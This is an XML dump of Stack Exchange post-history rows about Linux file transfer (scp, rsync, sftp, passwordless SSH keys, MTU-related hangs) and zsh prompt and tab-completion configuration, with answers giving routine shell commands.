  <row Id="35535" PostHistoryTypeId="2" PostId="14186" RevisionGUID="5b8fd855-fdb8-4a66-9813-1a094a8936d3" CreationDate="2011-05-13T18:01:57.057" UserDisplayName="Jim Lewis" Text="It seems that [scp disables the progress meter if stdout is not a tty][1].  The&#xD;&#xA;article I linked to contains some pseudo terminal hackery that might work for you;&#xD;&#xA;or you could go into the scp source and disable the `isatty()` check.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cwshep.blogspot.com/2009/06/showing-scp-progress-using-zenity.html" />
  <row Id="35536" PostHistoryTypeId="2" PostId="14185" RevisionGUID="ae8f3f62-ed7b-44e2-9b30-257d49343da1" CreationDate="2011-05-13T17:29:44.990" UserDisplayName="Ravi" Text="I am writing a release script, which uses scp/sftp to get the the file from a remote server, we want to log the output of this script to a release.log file as well. I am using &quot;tee&quot; to achieve this, which works perfectly fine for everything, i mean standard out and error, but when it comes to progress of the file download(which takes time to copy), it doesn't show up on the console or in the file as well.&#xD;&#xA;&#xD;&#xA;Output of scp without tee&#xD;&#xA;&#xD;&#xA;    frrinstd@loneqflocfd0034.uk.db.com:/apps/flowrisk/valservice/release/London/uat2/vs-server-2.1.16-21190-linux-amd64-frod-uat2-London-dist.zip /apps/flowrisk/uatldn/valservice&#xD;&#xA;    vs-server-2.1.16-21190-linux-amd64-frod-uat2-London-dist.zip                                                               100%   78MB  39.1MB/s   00:02&#xD;&#xA;&#xD;&#xA;Output of scp WITH tee&#xD;&#xA;&#xD;&#xA;    frrinstd@loneqflocfd0034.uk.db.com:/apps/flowrisk/valservice/release/London/uat2/vs-server-2.1.16-21190-linux-amd64-frod-uat2-London-dist.zip /apps/flowrisk/uatldn/valservice&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can someone please tell me how to make it to output the progress of scp/sftp command on the console with tee as well, so that user know what is happening?" />
  <row Id="35537" PostHistoryTypeId="1" PostId="14185" RevisionGUID="ae8f3f62-ed7b-44e2-9b30-257d49343da1" CreationDate="2011-05-13T17:29:44.990" UserDisplayName="Ravi" Text="Output progess of the scp/sftp command to both standard out and a file on linux server" />
  <row Id="35538" PostHistoryTypeId="3" PostId="14185" RevisionGUID="ae8f3f62-ed7b-44e2-9b30-257d49343da1" CreationDate="2011-05-13T17:29:44.990" UserDisplayName="Ravi" Text="élinuxàésftpàéscpà" />
  <row Id="35542" PostHistoryTypeId="2" PostId="14188" RevisionGUID="7497e35a-ad3a-4547-a22c-0a44e9f5736b" CreationDate="2011-03-29T13:15:28.083" UserId="7149" Text="Sounds like bad hardware to me. If it's only one machine on the LAN, it might have a bad Ethernet card; if it's all machines on the LAN, I'd check the hub or router." />
  <row Id="35543" PostHistoryTypeId="2" PostId="14189" RevisionGUID="ac13f91e-fa18-4902-a2e5-014f836b104d" CreationDate="2011-03-29T13:25:28.383" UserDisplayName="Stephan B" Text="This definitely sounds like MTU problems (like Konerak pointed out´), this is how I would test this:&#xD;&#xA;&#xD;&#xA;    ip link set eth0 mtu 1400&#xD;&#xA;&#xD;&#xA;This temporally sets the allowed size for network packets to 1400 on the network interface `eth0` (you might need to adjust the name). Your system will then split all packets above this size before sending it on to the network. If this fixes the scp command, you need to find the problem within the network or make this ugly fix permanent ; )" />
  <row Id="35544" PostHistoryTypeId="2" PostId="14187" RevisionGUID="b726007d-c26d-46bd-87b0-8b5b3ab5e2f6" CreationDate="2011-03-29T13:13:59.213" UserDisplayName="Chandranshu" Text="I'm trying to copy a file from one of my local machines to a remote machine. Copying a file with size upto 1405 bytes works fine. When I try to scp a larger file, the file gets copied but the scp process hangs up and doesn't exit. I have to hit Ctrl-C to return back to the shell.&#xD;&#xA;&#xD;&#xA;I have observed the same behavior with FTP as well. Any ideas about what might be causing this?" />
  <row Id="35545" PostHistoryTypeId="1" PostId="14187" RevisionGUID="b726007d-c26d-46bd-87b0-8b5b3ab5e2f6" CreationDate="2011-03-29T13:13:59.213" UserDisplayName="Chandranshu" Text="Why does SCP hang on copying files larger than 1405 bytes?" />
  <row Id="35546" PostHistoryTypeId="3" PostId="14187" RevisionGUID="b726007d-c26d-46bd-87b0-8b5b3ab5e2f6" CreationDate="2011-03-29T13:13:59.213" UserDisplayName="Chandranshu" Text="élinuxàéftpàéscpà" />
  <row Id="35550" PostHistoryTypeId="2" PostId="14192" RevisionGUID="df37d19a-849f-490a-b322-d3d9d06b1a05" CreationDate="2009-09-21T00:20:22.743" UserDisplayName="a paid nerd" Text="Here:&#xD;&#xA;&#xD;&#xA;    rsync -azv -e ssh --delete --progress localdir/ user@remotehost:remotedir/&#xD;&#xA;&#xD;&#xA;Note the trailing slashes — they're important.&#xD;&#xA;&#xD;&#xA;(I have the first bit aliased to `rsync-usual` because I use it so often.)" />
  <row Id="35551" PostHistoryTypeId="2" PostId="14191" RevisionGUID="aaef2f8f-cec5-40f0-b7d7-3c32a9b15bdc" CreationDate="2009-09-21T00:13:38.020" UserDisplayName="biznez" Text="How do I scp an entire folder into a folder of the same name without replacing the content in the destination folder? (instead, I would like to add to the contents of the destination folder)" />
  <row Id="35552" PostHistoryTypeId="1" PostId="14191" RevisionGUID="aaef2f8f-cec5-40f0-b7d7-3c32a9b15bdc" CreationDate="2009-09-21T00:13:38.020" UserDisplayName="biznez" Text="scp-ing without replacing folder" />
  <row Id="35553" PostHistoryTypeId="3" PostId="14191" RevisionGUID="aaef2f8f-cec5-40f0-b7d7-3c32a9b15bdc" CreationDate="2009-09-21T00:13:38.020" UserDisplayName="biznez" Text="élinuxàésshàérsyncàéscpà" />
  <row Id="35557" PostHistoryTypeId="2" PostId="14194" RevisionGUID="4766af9f-c573-4805-8e6d-ceda8303a2d6" CreationDate="2009-06-15T04:06:44.930" UserId="4002" Text="You can use `tty` to find out the file name of the terminal connected to standard input.&#xD;&#xA;&#xD;&#xA;For the latter part of your question, `sudo` or `su` and then `grep -c 'command' /home/username/.bash_history`." />
  <row Id="35558" PostHistoryTypeId="2" PostId="14195" RevisionGUID="428a0a56-5da9-4d1b-9839-dd3c00d04375" CreationDate="2009-06-16T17:47:56.797" UserDisplayName="Tom Bascom" Text="To see what commands are being executed you use &quot;ps -ef&quot;.  This will tell you what **everyone** is doing though which is usually too much information.&#xD;&#xA;&#xD;&#xA;To narrow it down to find out who is running a particular command you might add a &quot;grep&quot; filter like so:&#xD;&#xA;&#xD;&#xA;`ps -ef | grep scp`&#xD;&#xA;&#xD;&#xA;This will return all scp commands but it might also return the grep command looking for scp and any other commands with the letters scp embedded in them since grep is just matching the string.  So you may need to get clever with the expression given to grep (a lot of times you just need to quote it and add a space:&#xD;&#xA;&#xD;&#xA;`ps -ef | grep &quot;scp &quot;`&#xD;&#xA;&#xD;&#xA;or even better leverage regular expressions and:&#xD;&#xA;&#xD;&#xA;`ps -ef | grep &quot;[s]cp &quot;`&#xD;&#xA;&#xD;&#xA;If you know the user and just want to know what they are running then &quot;ps -fu&quot; is your friend.  For instance&#xD;&#xA;&#xD;&#xA;`ps -fu tom`&#xD;&#xA;&#xD;&#xA;Which can, of course, be combined with grep to get tom's scp processes:&#xD;&#xA;&#xD;&#xA;`ps -fu tom | grep &quot;[s]cp &quot;`&#xD;&#xA;&#xD;&#xA;Column 6 is the tty." />
  <row Id="35559" PostHistoryTypeId="2" PostId="14193" RevisionGUID="804e0579-b64a-4737-804e-40a1185a44a8" CreationDate="2009-06-15T04:00:47.877" UserDisplayName="kishore" Text="How can I find out who executed a particular command and which terminal was used to run it?&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;_Original_:&#xD;&#xA;&#xD;&#xA;how can i know particular cmd is executed by whom and to know about my terminal" />
  <row Id="35560" PostHistoryTypeId="1" PostId="14193" RevisionGUID="804e0579-b64a-4737-804e-40a1185a44a8" CreationDate="2009-06-15T04:00:47.877" UserDisplayName="kishore" Text="How to find tty from which a particular cmd &quot;scp&quot; is executed" />
  <row Id="35561" PostHistoryTypeId="3" PostId="14193" RevisionGUID="804e0579-b64a-4737-804e-40a1185a44a8" CreationDate="2009-06-15T04:00:47.877" UserDisplayName="kishore" Text="éscpà" />
  <row Id="35565" PostHistoryTypeId="2" PostId="14197" RevisionGUID="5a21e5a0-a46c-4bca-82a3-6285e138ac41" CreationDate="2009-02-27T06:08:46.460" UserDisplayName="mipadi" Text=" 1. No, you keep `id_rsa` to yourself; however, `id_rsa.pub`, which is your public key, may be copied to servers to which you wish to have access. Concatenate them onto the end of `~/.ssh/authorized_keys`.&#xD;&#xA; 1. Yes, you may create `~/.ssh/authorized_keys` if it is not already created; otherwise, just append to the end of the file, using `cat id_rsa.pub &gt;&gt;~/.ssh/authorized_keys`." />
  <row Id="35566" PostHistoryTypeId="2" PostId="14198" RevisionGUID="29d2f3a8-6762-4d9c-be7b-707cfaa5e2dc" CreationDate="2009-03-17T20:42:29.727" UserId="571" Text="You should also check the permissions on the various files and directories:&#xD;&#xA;&#xD;&#xA;    authorized_keys needs perms of 600 (chmod 600 authorized_keys)&#xD;&#xA;    the .ssh directory should be 700&#xD;&#xA;    your home directory should be at most 744&#xD;&#xA;&#xD;&#xA;Your home directory must not be writable by anyone other than you." />
  <row Id="35567" PostHistoryTypeId="2" PostId="14196" RevisionGUID="8c04b773-ef1a-4dc1-8158-05c3bd4d926d" CreationDate="2009-02-27T05:55:43.107" UserDisplayName="N2EE" Text="What is the best way of doing SCP from one box to the other without prompting for password?&#xD;&#xA;&#xD;&#xA;There are two servers&#xD;&#xA;&#xD;&#xA;**Server A**&#xD;&#xA;&#xD;&#xA;10.152.2.10&#xD;&#xA;&#xD;&#xA;/home/oracle/export/files.txt&#xD;&#xA;&#xD;&#xA;**Server B**&#xD;&#xA;&#xD;&#xA;10.152.2.11&#xD;&#xA;&#xD;&#xA;/home/oracle/import/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I want to transfer the files using scp from Server A to server B without being prompted to enter a password&#xD;&#xA;&#xD;&#xA;[running this from Server A, /home/oracle/export/]&#xD;&#xA;&#xD;&#xA;*scp files.txt oracle@10.152.2.11:/home/oracle/import*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This would prompt me for a password upon entering the command.&#xD;&#xA;&#xD;&#xA;I understand that a keygen is required to be generated and copied to Server A&#xD;&#xA;&#xD;&#xA;Thus[At Server A]:&#xD;&#xA;ssh-keygen -t rsa&#xD;&#xA;&#xD;&#xA;This gives me two files stored in /home/oracle/.ssh:&#xD;&#xA;&#xD;&#xA;id_rsa  &#xD;&#xA;id_rsa.pub&#xD;&#xA;&#xD;&#xA;1. Am I supposed to copy the two files (id_rsa,id_rsa.pub) over into Server B /home/oracle/.ssh ?&#xD;&#xA;&#xD;&#xA;While doing some google search on this, some articles mentioned about appending/concatenating this to authorized_keys.&#xD;&#xA;&#xD;&#xA;2. Am I supposed to create this file on my own?&#xD;&#xA;&#xD;&#xA;I seem to be confused on what is the right way to do this.&#xD;&#xA;&#xD;&#xA;Btw, the two servers are running Suse Linux Enterprise Edition 9...&#xD;&#xA;&#xD;&#xA;Please advice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35568" PostHistoryTypeId="1" PostId="14196" RevisionGUID="8c04b773-ef1a-4dc1-8158-05c3bd4d926d" CreationDate="2009-02-27T05:55:43.107" UserDisplayName="N2EE" Text="SCP from one server to another without password prompt" />
  <row Id="35569" PostHistoryTypeId="3" PostId="14196" RevisionGUID="8c04b773-ef1a-4dc1-8158-05c3bd4d926d" CreationDate="2009-02-27T05:55:43.107" UserDisplayName="N2EE" Text="élinuxàéscpà" />
  <row Id="35575" PostHistoryTypeId="2" PostId="14200" RevisionGUID="72390af7-7862-4772-9e0e-84915dd30473" CreationDate="2008-11-15T23:45:56.467" UserId="763" Text="A great tool you may want to try out is &quot;lftp&quot;. &#xD;&#xA;&#xD;&#xA;    lftp sftp://etc.etc/ &#xD;&#xA;    lftp&gt; ls &#xD;&#xA;        --- remote listing ---&#xD;&#xA;    lftp&gt; mirror -R -n local/ remote/ &#xD;&#xA;&#xD;&#xA;You can also use RSync over ssh&#xD;&#xA;&#xD;&#xA;    rsync -avzp -e ssh /this/dir/  remoteuser@remotehost:/remote/dir/&#xD;&#xA;&#xD;&#xA;Should work. " />
  <row Id="35576" PostHistoryTypeId="2" PostId="14201" RevisionGUID="025de22d-7e06-4de0-9e22-37afb49be273" CreationDate="2008-11-15T23:49:36.457" UserDisplayName="Stuart Grimshaw" Text="You could try [rsync][1] which only copies files that have changed, also works over ssh.&#xD;&#xA;&#xD;&#xA;[1]:http://www.samba.org/rsync/" />
  <row Id="35577" PostHistoryTypeId="2" PostId="14202" RevisionGUID="6ae84b9a-63ef-44e2-a977-4f90d1eca672" CreationDate="2008-11-16T01:04:34.310" UserDisplayName="Rizwan Kassim" Text="rsync works fine, and in most cases, uses SSH automatically as it's transport protocol. It will compare files and only upload those that have changed - but you can also use an [exclude list][1] to specify files in the tree that shouldn't be rsynced anyhow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.samba.org/ftp/rsync/rsync.html" />
  <row Id="35578" PostHistoryTypeId="2" PostId="14203" RevisionGUID="30654888-cab5-495f-94e7-5faec1d360dc" CreationDate="2008-11-18T16:00:30.960" UserDisplayName="simonm" Text="&#xD;&#xA;Rsync is a good solution, but if you're looking for an alternative:&#xD;&#xA;&#xD;&#xA;Let's say, we have a directory &quot;test&quot; contain the directories &quot;foo, bar, baz&quot;. In these dirs are a bunch of different file types: &#xD;&#xA;&#xD;&#xA;    test&#xD;&#xA;    |____bar&#xD;&#xA;    | |____1.jpg&#xD;&#xA;    | |____1.png&#xD;&#xA;    | |____1.txt&#xD;&#xA;    | |____2.jpg&#xD;&#xA;    | |____2.png&#xD;&#xA;    | |____2.txt&#xD;&#xA;    |____baz&#xD;&#xA;    | |____1.avi&#xD;&#xA;    | |____2.avi&#xD;&#xA;    | |____3.png&#xD;&#xA;    |____foo&#xD;&#xA;    | |____test.blah&#xD;&#xA;    |____test.txt&#xD;&#xA;&#xD;&#xA;We want to copy everything except the PNGs&#xD;&#xA;&#xD;&#xA;    scp $(find /location/of/test -type f ! -name &quot;*.png&quot;) # -&gt; Note the logical NOT!!&#xD;&#xA;&#xD;&#xA;In this example, the command will put all of the files into the same destination directory - this may not be the behavior you want.&#xD;&#xA;" />
  <row Id="35579" PostHistoryTypeId="2" PostId="14199" RevisionGUID="308ad346-8631-465b-9952-dcd4ff0becf0" CreationDate="2008-11-15T23:43:04.070" UserDisplayName="Mike McKee" Text="Using the Linux command line, I use the scp command to copy up all the files and folders from a certain directory. However, I don't like to consume wasted bandwidth for copying up things I rarely change like my tiny_mce folder. What's the trick to copy up everything but skip a short list of folders?&#xD;&#xA;" />
  <row Id="35580" PostHistoryTypeId="1" PostId="14199" RevisionGUID="308ad346-8631-465b-9952-dcd4ff0becf0" CreationDate="2008-11-15T23:43:04.070" UserDisplayName="Mike McKee" Text="How Do I Copy Up To An SSH Host All Folders and Files Except Certain Ones?" />
  <row Id="35581" PostHistoryTypeId="3" PostId="14199" RevisionGUID="308ad346-8631-465b-9952-dcd4ff0becf0" CreationDate="2008-11-15T23:43:04.070" UserDisplayName="Mike McKee" Text="élinuxàébashàésshàéscpà" />
  <row Id="35665" PostHistoryTypeId="2" PostId="14231" RevisionGUID="ed9721d5-1349-465d-a71c-fd3ea4a1a648" CreationDate="2011-05-31T21:08:40.557" UserId="885" Text="The behavior of &lt;kbd&gt;Tab&lt;/kbd&gt; at the beginning of a line is controlled by the [`insert-tab`](http://zsh.sourceforge.net/Doc/Release/Completion-System.html#index-insert_002dtab_002c-completion-style) [style](http://zsh.sourceforge.net/Doc/Release/Completion-System.html#index-completion-system_002c-styles). However, there are only two supported behaviors:&#xD;&#xA;&#xD;&#xA;* completion as usual, under `zstyle ':completion:*' insert-tab false`&#xD;&#xA;* insert a tab, under `zstyle ':completion:*' insert-tab true`&#xD;&#xA;* either one or the other under `zstyle ':completion:*' insert-tab pending[=N]`&#xD;&#xA;&#xD;&#xA;If you just want to complete commands in that position, `zstyle ':completion:*' insert-tab true` will do. If you want something different, like listing the files in the current directory, you'll need to modify `_main_complete`.&#xD;&#xA;&#xD;&#xA;A [recent thread on the zsh-workers list](http://www.zsh.org/mla/workers/2011/msg00751.html) discussed `insert-tab`.&#xD;&#xA;" />
  <row Id="35666" PostHistoryTypeId="2" PostId="14230" RevisionGUID="e5a96711-9d97-42b4-bdde-bbcdfb7de360" CreationDate="2011-05-30T22:06:56.277" UserDisplayName="user535759" Text="I'd like a tcsh'ism that I haven't been able to find:  On a blank line with no content, I want to press the tab key and see the equivalent of an ls.  That is to say I want&#xD;&#xA;&#xD;&#xA;    $ &lt;tab&gt;&#xD;&#xA;&#xD;&#xA;to do something other then giving me a \t.  I've found fantastic resources for command completion, but not for this base case.  Any help on this would be great! Thanks." />
  <row Id="35667" PostHistoryTypeId="1" PostId="14230" RevisionGUID="e5a96711-9d97-42b4-bdde-bbcdfb7de360" CreationDate="2011-05-30T22:06:56.277" UserDisplayName="user535759" Text="zsh tab completion on empty line" />
  <row Id="35668" PostHistoryTypeId="3" PostId="14230" RevisionGUID="e5a96711-9d97-42b4-bdde-bbcdfb7de360" CreationDate="2011-05-30T22:06:56.277" UserDisplayName="user535759" Text="éshellàéconfigurationàézshà" />
  <row Id="35774" PostHistoryTypeId="2" PostId="14267" RevisionGUID="c00f4009-57e6-4d9d-a9cd-0b7015e6f737" CreationDate="2011-02-27T01:39:06.947" UserId="382" Text="Try putting single quotes around the variable value at assignment to delay evaluation:&#xD;&#xA;&#xD;&#xA;    RPROMPT='${vcs_info_msg_0_}'" />
  <row Id="35776" PostHistoryTypeId="2" PostId="14266" RevisionGUID="f5b06839-c078-4929-878a-54a0cd190b7e" CreationDate="2011-02-27T01:15:02.473" UserId="5383" Text="My `RPROMPT` is set to display svn info using `vcs_info`. It reads `RPROMPT=${vcs_info_msg_0_}`. `vcs_info` is called using `precmd()`. However, RPROMPT doesn't update when I change directories. It works only if I invoke the prompt again (either by source ~/.zshrc or prompt &lt;promptfile&gt;) and doesn't change upon chdir, unless I invoke the prompt again. Is there any way to change this behaviour?" />
  <row Id="35777" PostHistoryTypeId="1" PostId="14266" RevisionGUID="f5b06839-c078-4929-878a-54a0cd190b7e" CreationDate="2011-02-27T01:15:02.473" UserId="5383" Text="How do you make RPROMPT in zsh update itself on every enter?" />
  <row Id="35778" PostHistoryTypeId="3" PostId="14266" RevisionGUID="f5b06839-c078-4929-878a-54a0cd190b7e" CreationDate="2011-02-27T01:15:02.473" UserId="5383" Text="éshellàéenvironmentövariablesàézshàépromptà" />
</posthistory>